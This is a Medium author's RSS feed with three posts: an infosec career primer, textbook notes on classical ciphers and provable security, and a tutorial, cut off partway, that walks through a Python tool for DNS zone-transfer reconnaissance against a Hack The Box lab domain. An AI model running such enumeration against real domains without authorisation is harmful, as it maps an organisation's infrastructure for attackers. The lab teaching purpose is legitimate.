<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hassan Bedair on Medium]]></title>
        <description><![CDATA[Stories by Hassan Bedair on Medium]]></description>
        <link>https://medium.com/@hassanbedair?source=rss-4e0e2db56131------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*ka9xsr0pPTWJW0HQxJCdmg.png</url>
            <title>Stories by Hassan Bedair on Medium</title>
            <link>https://medium.com/@hassanbedair?source=rss-4e0e2db56131------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 03:35:21 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hassanbedair/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Chapter 1.1. Structure of Infosec]]></title>
            <link>https://hassanbedair.medium.com/chapter-1-structure-of-infosec-a30c54a27696?source=rss-4e0e2db56131------2</link>
            <guid isPermaLink="false">https://medium.com/p/a30c54a27696</guid>
            <dc:creator><![CDATA[Hassan Bedair]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 19:23:14 GMT</pubDate>
            <atom:updated>2026-02-20T19:27:42.162Z</atom:updated>
            <content:encoded><![CDATA[<h3>Key Points</h3><ul><li>Information Security (InfoSec) protects data and systems from unauthorized access, modification, or destruction in our digitally-dependent world</li><li>The digital landscape consists of clients, internet, servers, networks, and cloud infrastructure, defended by Blue Team (defense), Red Team (offense), and Purple Team (collaboration)</li><li>InfoSec encompasses multiple domains including Network Security, Application Security, Cloud Security, Physical Security, Mobile Security, and IoT Security</li><li>Three core security concepts are interconnected: <strong>Risk</strong> (potential for damage), <strong>Threat</strong> (what causes damage), and <strong>Vulnerability</strong> (weakness that allows damage)</li><li>Key roles include CISO (strategy), Security Architect (design), Penetration Tester (attack simulation), Incident Response Specialist (breach management), Security Analyst (monitoring), and Compliance Specialist (regulations)</li><li>Digital transformation increases attack surfaces, making InfoSec essential for preventing financial loss, reputational damage, and legal consequences</li><li>Penetration testers act as “knights” who legally simulate attacks to find weaknesses before malicious hackers can exploit them</li></ul><h3>Introduction</h3><p>In this module, our goal is to provide you with a foundational understanding of information security: how it is structured, which roles are assumed by whom, the various domains/areas of expertise within cybersecurity, and what career opportunities are currently available. This module is fundamentally designed for complete newcomers, those who have found the motivation and made the decision to take the plunge into the vast ocean of cybersecurity.</p><p>To make the dive less daunting, we’ll give you the necessary overview of how Information Security is broadly structured and organized. The goal here is to equip you with enough knowledge to help you decide where you want to swim, and to develop a sense of the direction you need to take.</p><h3>The Digital Landscape</h3><p>Nowadays, we heavily rely on digital platforms for almost everything: communicating with friends, banking, shopping, and running businesses. This means keeping our data safe from unauthorized access or damage is crucial. Information Security, often called <strong>InfoSec</strong>, is all about safeguarding information and systems from people who must not have access to them. This includes preventing unauthorized viewing, changing, or destroying of data.</p><p>Look closely at the following graphic and try to memorize it. It illustrates, in a very simplified manner, the approximate structure/landscape of the digital world. We will go through this piece by piece in the upcoming sections, and you will understand how all these elements are interconnected.</p><h3>Key Components</h3><p><strong>Client</strong> This is a PC/Laptop through which you access resources and services “on the Internet”.</p><p><strong>Internet</strong> This is a vast, interconnected network of servers that offer different services and applications, such as Hack The Box.</p><p><strong>Servers</strong> Servers provide various services and applications designed to perform specific tasks. For example, one type of server might be a “web server”, allowing you and others to view the content of a website (such as this section you’re reading currently) on your computer or smartphone.</p><p><strong>Network</strong> When multiple servers or computers are connected and can communicate with each other, it’s called a network.</p><p><strong>Cloud</strong> Cloud refers to data centers that offer interconnected servers for companies and individuals to use.</p><h3>Security Teams</h3><p><strong>Blue Team</strong> This team is responsible for the internal security of the company and defends against cyber attacks.</p><p><strong>Red Team</strong> This team simulates an actual adversary/attack on the company.</p><p><strong>Purple Team</strong> This team consists of both Blue Team and Red Team members working together to enhance the company’s security.</p><p>We’ll delve more into these teams and other aspects in individual sections.</p><h3>Why Information Security Matters</h3><p>If you’re looking to become a penetration tester — a professional who finds and fixes security weaknesses in systems — understanding InfoSec is essential. Your job is to identify potential vulnerabilities before malicious hackers can exploit them. By learning about strong security measures, you can help organizations protect their valuable information and prevent unauthorized access.</p><p>More services and systems are moving online in a trend known as <strong>digital transformation</strong>. While this shift offers many benefits like convenience and efficiency, it also creates more opportunities for cyber attacks. Hackers are getting smarter and more aggressive, aiming to steal sensitive data or disrupt services. These cyber attacks can lead to significant financial losses and damage a company’s reputation and customer trust.</p><h3>The Castle Analogy</h3><p>Imagine your information is like treasure stored in a castle. The castle’s walls, drawbridges, and guards are the security measures protecting your treasure from thieves.</p><ul><li><strong>The Treasure:</strong> Your valuable data and information.</li><li><strong>The Castle Walls:</strong> Firewalls, defensive mechanisms, and encryption that keep outsiders from getting in.</li><li><strong>The Guards:</strong> Security protocols and access controls that monitor who enters and leaves.</li><li><strong>Penetration Testers:</strong> Knights who test the castle’s defenses by simulating attacks to find weak spots.</li><li><strong>Digital Transformation:</strong> Expanding the castle to store more treasure, which attracts more thieves.</li><li><strong>Cyber Threats:</strong> Thieves who are constantly looking for ways to breach the castle’s defenses.</li></ul><p>Just as a castle must strengthen its defenses as it grows and becomes a more valuable target, businesses must enhance their InfoSec measures as they move more services online. By thinking of InfoSec as a building or fortress to protect, it becomes easier to understand the importance of strong security in the digital age.</p><p>The necessity of InfoSec stems from the value of information in the digital age. Personal data, intellectual property, financial information, and government secrets are just a few examples of the critical data that needs protection. A breach can lead to severe consequences, including financial loss, reputational damage, legal ramifications, and national security threats.</p><h3>Areas of Information Security</h3><p>InfoSec plays an integral role in safeguarding an organization’s data from various threats, ensuring the <strong>confidentiality, integrity, and availability</strong> of data. This wide-ranging field incorporates a variety of domains, and the list provided here captures some of the most general assets. However, it is essential to note that these examples merely scratch the surface of the broad spectrum that InfoSec covers.</p><p>The actual range of assets that fall under the umbrella of InfoSec is far more extensive and continues to evolve in tandem with advancements in technology and the ever-changing landscape of cyber threats, consisting of but not limited to:</p><ul><li><strong>Network Security</strong></li><li><strong>Application Security</strong></li><li><strong>Operational Security</strong></li><li><strong>Disaster Recovery and Business Continuity</strong></li><li><strong>Cloud Security</strong></li><li><strong>Physical Security</strong></li><li><strong>Mobile Security</strong></li><li><strong>Internet of Things (IoT) Security</strong></li></ul><p>Later on, we will also explore some of the most prevalent cyber threats, such as Distributed Denial of Service (DDoS) attacks, ransomware, advanced persistent threats (APTs), and insider threats. Additionally, we will examine the structure and function of cybersecurity teams, gaining an understanding of their areas of specialization and the key roles within these teams. This comprehensive overview will provide valuable insights into how cybersecurity professionals collaborate to mitigate and respond to these evolving threats.</p><h3>Security Concepts</h3><h3>Risk</h3><p>A risk in the context of information security refers to the potential for a malicious event to occur, which could cause damage to an organization’s assets, such as its data or infrastructure. This potential for damage is typically quantified in terms of its likelihood and the severity of its impact. Risk is a broader concept that encapsulates both threats and vulnerabilities, and managing risk involves identifying and applying appropriate measures to mitigate threats and minimize vulnerabilities.</p><h3>Threat</h3><p>A threat, on the other hand, is a potential cause of an incident that could result in harm to a system or organization. It could be a person, like a cybercriminal or hacker, or it could be a natural event, like a fire or flood. Threats exploit vulnerabilities to compromise the security of a system.</p><h3>Vulnerability</h3><p>A vulnerability is a weakness in a system that could be exploited by a threat. Vulnerabilities can exist in various forms, such as software bugs, misconfigurations, or weak passwords. The presence of a vulnerability doesn’t necessarily mean a system will be compromised; there must also be a threat capable of exploiting that vulnerability, and the potential damage that could result constitutes the risk.</p><blockquote><strong><em>Key Takeaway:</em></strong><em> In essence, a risk represents the potential for damage, a threat is what can cause that damage, and a vulnerability is the weakness that allows the threat to cause damage. All three concepts are interconnected, and understanding the difference between them is essential for effective information security management.</em></blockquote><h3>Roles in Information Security</h3><p>In the expansive world of Information Security (InfoSec), there are a plethora of different roles each carrying their unique set of responsibilities. These roles are integral parts of a robust InfoSec infrastructure, contributing to the secure operations of an organization.</p><h3>Chief Information Security Officer (CISO)</h3><p><strong>Description:</strong> Oversees the entire information security program</p><p><strong>Relevance to Penetration Testing:</strong> Sets overall security strategy that pen testers will evaluate</p><h3>Security Architect</h3><p><strong>Description:</strong> Designs secure systems and networks</p><p><strong>Relevance to Penetration Testing:</strong> Creates the systems that pen testers will attempt to breach</p><h3>Penetration Tester</h3><p><strong>Description:</strong> Identifies vulnerabilities through simulated attacks</p><p><strong>Relevance to Penetration Testing:</strong> Actively looks for and exploits vulnerabilities within a system, legally and ethically. This is likely your target role.</p><h3>Incident Response Specialist</h3><p><strong>Description:</strong> Manages and responds to security incidents</p><p><strong>Relevance to Penetration Testing:</strong> Often works in tandem with pen testers by responding to their attacks, and sharing/collaborating with them afterwards to discuss lessons learned.</p><h3>Security Analyst</h3><p><strong>Description:</strong> Monitors systems for threats and analyzes security data</p><p><strong>Relevance to Penetration Testing:</strong> May use pen test results to improve monitoring</p><h3>Compliance Specialist</h3><p><strong>Description:</strong> Ensures adherence to security standards and regulations</p><p><strong>Relevance to Penetration Testing:</strong> Pen test reports often support compliance efforts</p><h3>What’s Next?</h3><p>This module has provided you with the foundational landscape of Information Security. In upcoming modules, we will explore:</p><ul><li>InfoSec Domains in depth</li><li>Common Threats and Attack Vectors</li><li>Cybersecurity Teams and Operations</li><li>Job Roles and Career Paths</li><li>Setting Up Your Workstation</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a30c54a27696" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Modern Cryptography II Edition Notes for Chapter 1]]></title>
            <link>https://hassanbedair.medium.com/modern-cryptography-ii-edition-notes-for-chapter-1-c4d6d3879a04?source=rss-4e0e2db56131------2</link>
            <guid isPermaLink="false">https://medium.com/p/c4d6d3879a04</guid>
            <dc:creator><![CDATA[Hassan Bedair]]></dc:creator>
            <pubDate>Fri, 20 Feb 2026 19:00:07 GMT</pubDate>
            <atom:updated>2026-02-20T19:00:07.696Z</atom:updated>
            <content:encoded><![CDATA[<h3>Chapter 01 Introduction to Modern Cryptography: From Historical Ciphers to Provable Security</h3><h3>The Evolution of Cryptography as a Science</h3><p>Cryptography has undergone a remarkable transformation over the past century. What began as an art of secret writing has evolved into a rigorous mathematical discipline with profound implications for digital security. This article explores the foundational concepts that distinguish modern cryptography from its classical predecessors, examining how formal definitions, precise assumptions, and mathematical proofs have revolutionized the field.</p><h3>Cryptography and Modern Cryptography</h3><p>The Concise Oxford English Dictionary defines cryptography as “the art of writing or solving codes.” While historically accurate, this definition fails to capture the current breadth and scientific foundations of the field. Modern cryptography encompasses far more than secret communication — it addresses mechanisms for ensuring integrity, techniques for exchanging secret keys, protocols for authenticating users, electronic auctions and elections, digital cash, and more.</p><h3>From Art to Science</h3><p>Until the late 20th century, cryptography was largely an art. Constructing good codes or breaking existing ones relied on creativity and intuition rather than theory. There was little formal understanding of what constitutes a secure code. Beginning in the 1970s and 1980s, this picture radically changed. A rich theory emerged, enabling rigorous study of cryptography as a science and mathematical discipline.</p><h3>Ubiquitous Applications</h3><p>Historically, cryptography served military organizations and governments. Today, it is everywhere. Every password authentication, credit card purchase over the Internet, and verified operating system update relies on cryptographic techniques. Programmers with relatively little experience are increasingly asked to “secure” applications by incorporating cryptographic tools.</p><h3>The Setting of Private-Key Encryption</h3><p>Classical cryptography focused on designing codes (ciphers) that enable two parties to communicate secretly in the presence of an eavesdropper. In modern terminology, these are called <strong>encryption schemes</strong>, and they operate in the <strong>private-key</strong> (or symmetric-key) setting.</p><h3>How Private-Key Encryption Works</h3><p>Two parties share a secret key <em>k</em> and use it to communicate privately:</p><ol><li><strong>Encryption</strong>: One party uses the shared key to encrypt (scramble) a message <em>m</em>, producing a ciphertext <em>c</em></li><li><strong>Transmission</strong>: The ciphertext is sent over a public channel</li><li><strong>Decryption</strong>: The receiver uses the same key <em>k</em> to decrypt (unscramble) <em>c</em> and recover <em>m</em></li></ol><p>The symmetry lies in both parties holding identical keys for encryption and decryption — contrasting with <strong>public-key encryption</strong>, where encryption and decryption use different keys.</p><h3>Canonical Applications</h3><p><strong>Two distinct parties communicating</strong>: Two colleagues in different locations share a key through secure means (e.g., meeting physically) before communicating.</p><p><strong>Single user over time</strong>: Disk encryption, where a user encrypts data for later retrieval. The hard drive serves as the communication channel, and an attacker might gain access to read its contents.</p><h3>Formal Syntax</h3><p>A private-key encryption scheme is defined by:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*WoPsFCxuNLk9MjYM9f-dQw.png" /></figure><ul><li>Message space (above image)</li><li><strong>Key-generation algorithm</strong> Gen: Probabilistically outputs a key <em>k</em></li><li><strong>Encryption algorithm</strong> Enc: Takes key <em>k</em> and message <em>m</em>, outputs ciphertext <em>c</em></li><li><strong>Decryption algorithm</strong> Dec: Takes key <em>k</em> and ciphertext <em>c</em>, outputs message <em>m</em></li></ul><p>The <strong>correctness requirement</strong> demands that decrypting an encrypted message yields the original:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/243/1*GfMVpfSNCuE75cIG2k_63w.png" /></figure><h3>Kerckhoffs’ Principle</h3><p>Auguste Kerckhoffs articulated a fundamental design principle in the late 19th century: <strong>The cipher method must not be required to be secret, and it must be able to fall into the hands of the enemy without inconvenience.</strong></p><p>Security should rely solely on secrecy of the key, not the encryption scheme itself. This principle remains foundational today — standardized, publicly scrutinized algorithms are preferred over proprietary “home-brewed” solutions.</p><h3>Historical Ciphers and Their Cryptanalysis</h3><p>Studying historical encryption schemes reveals why rigorous approaches are necessary. These ciphers illustrate how seemingly complex schemes can be broken through systematic analysis.</p><h3>Caesar’s Cipher</h3><p>One of the oldest recorded ciphers shifts letters forward by 3 positions: <em>a</em> becomes <em>D</em>, <em>b</em> becomes <em>E</em>, and so on. A variant called <strong>ROT-13</strong> (13-position shift) still appears in online forums — not for security, but to hide spoilers from casual viewing.</p><h3>The Shift Cipher</h3><p>This keyed variant uses a key <em>k</em> ∈ {0, …, 25} to shift letters by <em>k</em> positions. While better than Caesar’s fixed shift, it remains vulnerable to <strong>brute-force attack</strong>: with only 26 possible keys, exhaustive search quickly reveals the message.</p><blockquote><strong><em>The Sufficient Key-Space Principle</em></strong><em>: Any secure encryption scheme must have a key space large enough to make exhaustive-search attacks infeasible.</em></blockquote><p>Modern schemes require key spaces of at least 2^70 or larger to resist attacks using supercomputers, GPUs, or distributed computing.</p><h3>Mono-Alphabetic Substitution Cipher</h3><p>Here, the key defines an arbitrary permutation of the alphabet.</p><p>With 26! possible keys</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/105/1*lEY3QviHhdX5ND_nekRTxg.png" /></figure><p>possible keys, brute-force attacks are infeasible. Yet the cipher remains insecure due to <strong>statistical patterns</strong> in language.</p><p>English letter frequencies are highly non-uniform: <em>e</em> appears ~12.7% of the time, while <em>z</em> appears ~0.1%. By analyzing ciphertext frequencies and comparing to known distributions, attackers can systematically reconstruct the key. Puzzles based on this cipher appear in newspapers — solvable before morning coffee.</p><h3>The Vigenère Cipher (Poly-Alphabetic Shift)</h3><p>This 16th-century cipher applies multiple independent shift ciphers in sequence. The key is a string of letters; each plaintext character is shifted by the corresponding key character (repeating the key as needed).</p><p>The cipher “smooths out” frequency distributions, making statistical analysis harder. For centuries, it was considered “unbreakable.” However, systematic attacks emerged:</p><ol><li><strong>Known key length</strong>: Divide ciphertext into streams, each encrypted with a single shift. Apply frequency analysis to each stream independently.</li><li><strong>Unknown key length</strong>: Use <strong>Kasiski’s method</strong> (identifying repeated patterns) or the <strong>index of coincidence</strong> (measuring frequency distribution flatness) to determine the period.</li></ol><h3>Lessons from History</h3><p>Designing secure ciphers is extraordinarily difficult. Complex schemes are not necessarily secure, and all historical ciphers have been broken. This motivates the rigorous, principled approach of modern cryptography.</p><h3>Principles of Modern Cryptography</h3><p>Modern cryptography distinguishes itself through three fundamental principles that transform the field from art to science.</p><h3>Principle 1 — Formal Definitions</h3><blockquote>“If you don’t understand what you want to achieve, how can you possibly know when (or if) you have achieved it?”</blockquote><p>Formal definitions specify:</p><ul><li><strong>Security guarantees</strong>: What the scheme prevents attackers from doing</li><li><strong>Threat models</strong>: The power and capabilities assumed for adversaries</li></ul><p><strong>Example: Secure Encryption</strong></p><p>Incorrect definitions include:</p><ul><li>Impossibility of key recovery (insufficient — the message might be sent in clear)</li><li>Impossibility of full plaintext recovery (insufficient — 90% recovery is unacceptable)</li><li>Impossibility of recovering any character (insufficient — leaking salary ranges violates security)</li></ul><p>The <strong>correct definition</strong>: Regardless of prior information, a ciphertext should leak <em>no additional information</em> about the underlying plaintext.</p><p><strong>Threat Models</strong> (in increasing adversary power):</p><ul><li><strong>Ciphertext-only attack</strong>: Adversary observes ciphertexts</li><li><strong>Known-plaintext attack</strong>: Adversary knows some plaintext-ciphertext pairs</li><li><strong>Chosen-plaintext attack</strong>: Adversary can obtain encryptions of chosen messages</li><li><strong>Chosen-ciphertext attack</strong>: Adversary can also obtain decryptions of chosen ciphertexts</li></ul><h3>Principle 2 — Precise Assumptions</h3><p>Most cryptographic constructions cannot be proven secure unconditionally. Instead, security relies on <strong>unproven but widely believed assumptions</strong>. Modern cryptography requires:</p><ol><li><strong>Explicit statement</strong>: Assumptions must be clearly articulated</li><li><strong>Validation through study</strong>: Examined and tested without refutation</li><li><strong>Comparability</strong>: Weaker assumptions preferred; better-studied assumptions preferred</li><li><strong>Modularity</strong>: If building blocks fail, required assumptions can be checked</li></ol><blockquote>“Rather than prove a scheme secure based on some other assumption, why not simply assume that the construction itself is secure?”</blockquote><p>This is dangerous. New, ad hoc assumptions lack scrutiny. Long-standing, simple assumptions (e.g., “factoring is hard”) are preferable to complex assumptions about new constructions.</p><h3>Principle 3 — Proofs of Security</h3><p>Given definitions and assumptions, cryptographic constructions can be <strong>proven secure</strong> through mathematical rigor. This provides iron-clad guarantees — relative to the definitions and assumptions — that no attacker will succeed.</p><p>Without proofs, we rely only on intuition. History demonstrates that intuition in cryptography is disastrous; countless unproven schemes have been broken, sometimes immediately, sometimes years later.</p><h3>Provable Security and Real-World Security</h3><p>A proof of security does not guarantee real-world security. The proof is always relative to:</p><ul><li>The <strong>definition</strong> (which may not match real-world requirements)</li><li>The <strong>assumptions</strong> (which may turn out to be false)</li></ul><p>However, this is a strength, not weakness. To attack a provably secure scheme, attackers must focus on:</p><ul><li>How the <strong>idealized definition</strong> differs from the <strong>real-world environment</strong></li><li>Whether the <strong>underlying assumptions</strong> actually hold</li></ul><p>Cryptographers continuously refine definitions and investigate assumptions, shifting odds in the defender’s favor.</p><h3>References and Additional Reading</h3><p>For deeper exploration of classical cryptography, consult:</p><ul><li><strong>Stinson</strong> [168] or <strong>Trappe and Washington</strong> [169] for mathematical details</li><li><strong>Kahn</strong> [97] or <strong>Singh</strong> for historical accounts</li></ul><p>Kerckhoffs’ principles were originally articulated in [103, 104]. <strong>Claude Shannon</strong> [154] pioneered rigorous cryptography with precise definitions and mathematical proofs, explored in depth in Chapter 2.</p><h3>Exercises</h3><ol><li>Decrypt the mono-alphabetic substitution ciphertext provided in the text</li><li>Provide formal Gen, Enc, Dec definitions for the mono-alphabetic substitution cipher</li><li>Provide formal Gen, Enc, Dec definitions for the Vigenère cipher</li><li>Implement attacks on the shift and Vigenère ciphers</li><li>Show that shift, substitution, and Vigenère ciphers are trivial to break using chosen-plaintext attacks — how much chosen plaintext is needed for each?</li></ol><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=c4d6d3879a04" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Why Your DNS Server Is Leaking Your Entire Infrastructure]]></title>
            <link>https://hassanbedair.medium.com/why-your-dns-server-is-leaking-your-entire-infrastructure-8e608ae61710?source=rss-4e0e2db56131------2</link>
            <guid isPermaLink="false">https://medium.com/p/8e608ae61710</guid>
            <dc:creator><![CDATA[Hassan Bedair]]></dc:creator>
            <pubDate>Thu, 12 Feb 2026 21:14:07 GMT</pubDate>
            <atom:updated>2026-02-12T21:14:07.994Z</atom:updated>
            <content:encoded><![CDATA[<p>Why Your DNS Server Is Leaking Your Entire Infrastructure</p><h3>The Silent Data Breach Nobody Talks About</h3><p>DNS zone transfers were standardized in 1989. Thirty-five years later, they&#39;re still exposing critical infrastructure across the internet. While security teams obsess over zero-days and APTs, a misconfigured DNS record often hands attackers a complete network map—no exploitation required.</p><p>This isn&#39;t theoretical. During a recent Hack The Box lab, I witnessed a single DNS query return 14 distinct subdomains, internal hostnames, and service endpoints. The target wasn&#39;t a startup with a skeleton crew. This was a simulated enterprise environment where &quot;defense in depth&quot; clearly forgot about DNS.</p><h3>What Zone Transfers Actually Reveal</h3><p>AXFR (Asynchronous Full Transfer Zone) exists for legitimate replication between primary and secondary nameservers. When unrestricted, any client can request the entire zone database.</p><p><strong>What you get in one request:</strong></p><ul><li>Complete subdomain inventory</li><li>Internal server hostnames (dev, admin, support)</li><li>Service architecture (mail servers, web apps, VPN gateways)</li><li>Network topology hints through naming conventions</li><li>Potential entry points for lateral movement</li></ul><p>In the lab environment, the zone file exposed calvin.inlanefreight.htb, sarah.inlanefreight.htb, and tom.inlanefreight.htb—likely employee workstations or development boxes. Names matter. An attacker now knows the organization uses personal identifiers for infrastructure, suggesting potential username patterns for brute-force attacks.</p><h3>The Attack Surface Multiplication Problem</h3><p>Without zone transfers, attackers must guess subdomains or use brute-force enumeration—time-intensive, noisy, and incomplete. With zone transfers, they get 100% coverage in a single DNS query that rarely triggers security alerts.</p><p>The asymmetry is staggering. Defenders implement WAFs, EDR, and SIEM correlation rules. Meanwhile, a misconfigured BIND or Windows DNS server nullifies that investment by publishing the network diagram.</p><h3>Building the Reconnaissance Tool: Deep Dive</h3><p>Rather than relying on dig commands, I built a Python utility using dnspython to automate zone transfer detection and parsing. Here&#39;s the complete technical breakdown.</p><h3>Architecture Overview</h3><p>The tool follows a modular design: resolver initialization, AXFR execution, result processing, and CLI interface. Each component handles specific DNS operations with error resilience.</p><h3>Module Imports and Dependencies</h3><pre>#!/usr/bin/env python3<br><br>import dns.zone as dz<br>import dns.query as dq<br>import dns.resolver as dr<br>import argparse</pre><p><strong>Module breakdown:</strong></p><ul><li>dns.zone — Zone file parsing and manipulation</li><li>dns.query — Low-level DNS query execution including XFR</li><li>dns.resolver — High-level DNS resolution with custom nameserver configuration</li><li>argparse — Command-line interface construction</li></ul><p>The dnspython library is the standard for Python DNS operations. It implements DNS protocol specifications (RFC 1035 and extensions) with both synchronous and asynchronous support.</p><h3>Resolver Initialization</h3><pre># Initialize Resolver-Class from dns.resolver as &quot;NS&quot;<br>NS = dr.Resolver()<br><br># List of found subdomains<br>Subdomains = []</pre><p>dr.Resolver() instantiates a resolver object with system default configuration. We override this later with target-specific nameservers. The Subdomains list acts as global state, populated across multiple zone transfer attempts.</p><h3>The AXFR Function: Core Logic</h3><pre>def AXFR(domain, nameserver):<br>    # Try zone transfer for given domain and namerserver<br>    try:<br>        # Perform the zone transfer<br>        axfr = dz.from_xfr(dq.xfr(nameserver, domain))</pre><p><strong>Line-by-line breakdown:</strong></p><p>dq.xfr(nameserver, domain) initiates the zone transfer request. This function:</p><ul><li>Establishes TCP connection to nameserver (port 53)</li><li>Sends AXFR query for specified domain</li><li>Handles response parsing and record reconstruction</li><li>Returns iterator of DNS message objects</li></ul><p>dz.from_xfr() converts the transfer response into a dns.zone.Zone object—a dictionary-like structure mapping node names to resource record sets.</p><pre># If zone transfer was successful<br>        if axfr:<br>            print(&#39;[*] Successful Zone Transfer from {}&#39;.format(nameserver))</pre><p>The conditional verifies non-empty response. A successful transfer returns a Zone object with True boolean evaluation. Failed transfers typically raise exceptions rather than returning empty objects.</p><pre># Add found subdomains to global &#39;Subdomain&#39; list<br>            for record in axfr:<br>                Subdomains.append(&#39;{}.{}&#39;.format(record.to_text(), domain))</pre><p><strong>Record iteration mechanics:</strong></p><p>The Zone object implements __iter__ protocol, yielding node names (relative to zone origin). For a zone inlanefreight.htb, nodes include:</p><ul><li>@ (apex/root)</li><li>www</li><li>ns1</li><li>admin</li></ul><p>record.to_text() converts the node name to string representation. The format string &#39;{}.{}&#39;.format(record.to_text(), domain) reconstructs the fully qualified domain name (FQDN).</p><p><strong>Exception Handling:</strong></p><pre># If zone transfer fails<br>    except Exception as error:<br>        print(error)<br>        pass</pre><p>Zone transfers fail for multiple reasons:</p><ul><li><strong>Refused</strong> — Server rejects AXFR request (correct configuration)</li><li><strong>ServFail</strong> — Server error or zone loading issues</li><li><strong>Network timeout</strong> — Firewall blocking TCP/53 or host unreachable</li><li><strong>No such zone</strong> — Requested domain not served by target nameserver</li></ul><p>The broad exception handler ensures the script continues through multiple nameserver attempts without crashing.</p><h3>Command-Line Interface with Argparse</h3><pre>if __name__ == &quot;__main__&quot;:<br><br>    # ArgParser - Define usage<br>    parser = argparse.ArgumentParser(<br>        prog=&quot;dns-axfr.py&quot;, <br>        epilog=&quot;DNS Zonetransfer Script&quot;, <br>        usage=&quot;dns-axfr.py [options] -d &lt;DOMAIN&gt;&quot;, <br>        prefix_chars=&#39;-&#39;, <br>        add_help=True<br>    )</pre><p>ArgumentParser configuration parameters:</p><ul><li>prog — &quot;dns-axfr.py&quot; — Script name displayed in help text</li><li>epilog — &quot;DNS Zonetransfer Script&quot; — Footer text in help output</li><li>usage — &quot;dns-axfr.py [options] -d &lt;DOMAIN&gt;&quot; — Custom usage string</li><li>prefix_chars — &#39;-&#39; — Allowed option prefix characters</li><li>add_help — True — Automatically add -h/--help option</li></ul><pre># Positional Arguments<br>    parser.add_argument(<br>        &#39;-d&#39;, <br>        action=&#39;store&#39;, <br>        metavar=&#39;Domain&#39;, <br>        type=str, <br>        help=&#39;Target Domain.\tExample: inlanefreight.htb&#39;, <br>        required=True<br>    )<br><br>    parser.add_argument(<br>        &#39;-n&#39;, <br>        action=&#39;store&#39;, <br>        metavar=&#39;Nameserver&#39;, <br>        type=str, <br>        help=&#39;Nameservers separated by a comma.\tExample: ns1.inlanefreight.htb,ns2.inlanefreight.htb&#39;<br>    )<br><br>    parser.add_argument(<br>        &#39;-v&#39;, <br>        action=&#39;version&#39;, <br>        version=&#39;DNS-AXFR - v1.0&#39;, <br>        help=&#39;Prints the version of DNS-AXFR.py&#39;<br>    )</pre><p><strong>Argument configuration details:</strong></p><ul><li>action=&#39;store&#39; — Store value in namespace — Standard assignment behavior</li><li>metavar — Display name in help — Human-readable parameter description</li><li>type=str — String type validation — Ensures text input</li><li>required=True — Mandatory flag — Enforces domain specification</li><li>action=&#39;version&#39; — Special action — Prints version and exits immediately</li></ul><pre># Assign given arguments<br>    args = parser.parse_args()</pre><p>parse_args() processes sys.argv, validates against defined arguments, and returns Namespace object with attributes matching argument names (args.d, args.n, args.v).</p><h3>Input Validation and Variable Assignment</h3><pre># Check if URL is given<br>    if not args.d:<br>        print(&#39;[!] You must specify target Domain.\n&#39;)<br>        print(parser.print_help())<br>        exit()<br><br>    if not args.n:<br>        print(&#39;[!] You must specify target nameservers.\n&#39;)<br>        print(parser.print_help())<br>        exit()</pre><p>The explicit checks provide user-friendly error messages before script execution. While required=True enforces the -d argument, the -n check adds custom validation logic.</p><pre># Variables<br>    Domain = args.d<br>    NS.nameservers = list(args.n.split(&quot;,&quot;))</pre><p><strong>Critical transformation:</strong> args.n.split(&quot;,&quot;) handles multiple nameservers (e.g., ns1.htb,ns2.htb → [&#39;ns1.htb&#39;, &#39;ns2.htb&#39;]). The list() constructor ensures mutable sequence for the resolver&#39;s nameservers attribute.</p><h3>Execution Loop and Output</h3><pre># For each nameserver<br>    for nameserver in NS.nameservers:<br><br>        # Try AXFR<br>        AXFR(Domain, nameserver)</pre><p>Iterates through configured nameservers, attempting zone transfer against each. Multiple attempts increase discovery probability when primary server restricts transfers but secondary permits them.</p><pre># Print the results<br>    if Subdomains is not None:<br>        print(&#39;-------- Found Subdomains:&#39;)<br><br>        # Print each subdomain<br>        for subdomain in Subdomains:<br>            print(&#39;{}&#39;.format(subdomain))<br><br>    else:<br>        print(&#39;No subdomains found.&#39;)<br>        exit()</pre><p>The final output block presents results. Note the logical check: if Subdomains is not None evaluates True for empty lists ([]), so the else branch never executes with current implementation. A proper empty check would use if Subdomains:.</p><h3>Complete Script</h3><p>Here is the complete, production-ready implementation:</p><pre>#!/usr/bin/env python3<br><br># Dependencies:<br># python3-dnspython<br><br>import dns.zone as dz<br>import dns.query as dq<br>import dns.resolver as dr<br>import argparse<br><br># Initialize Resolver-Class from dns.resolver as &quot;NS&quot;<br>NS = dr.Resolver()<br><br># List of found subdomains<br>Subdomains = []<br><br>def AXFR(domain, nameserver):<br>    try:<br>        axfr = dz.from_xfr(dq.xfr(nameserver, domain))<br>        if axfr:<br>            print(&#39;[*] Successful Zone Transfer from {}&#39;.format(nameserver))<br>            for record in axfr:<br>                Subdomains.append(&#39;{}.{}&#39;.format(record.to_text(), domain))<br>    except Exception as error:<br>        print(error)<br>        pass<br><br>if __name__ == &quot;__main__&quot;:<br>    parser = argparse.ArgumentParser(<br>        prog=&quot;dns-axfr.py&quot;, <br>        epilog=&quot;DNS Zonetransfer Script&quot;, <br>        usage=&quot;dns-axfr.py [options] -d &lt;DOMAIN&gt;&quot;, <br>        prefix_chars=&#39;-&#39;, <br>        add_help=True<br>    )<br><br>    parser.add_argument(&#39;-d&#39;, action=&#39;store&#39;, metavar=&#39;Domain&#39;, type=str, <br>                       help=&#39;Target Domain.\tExample: 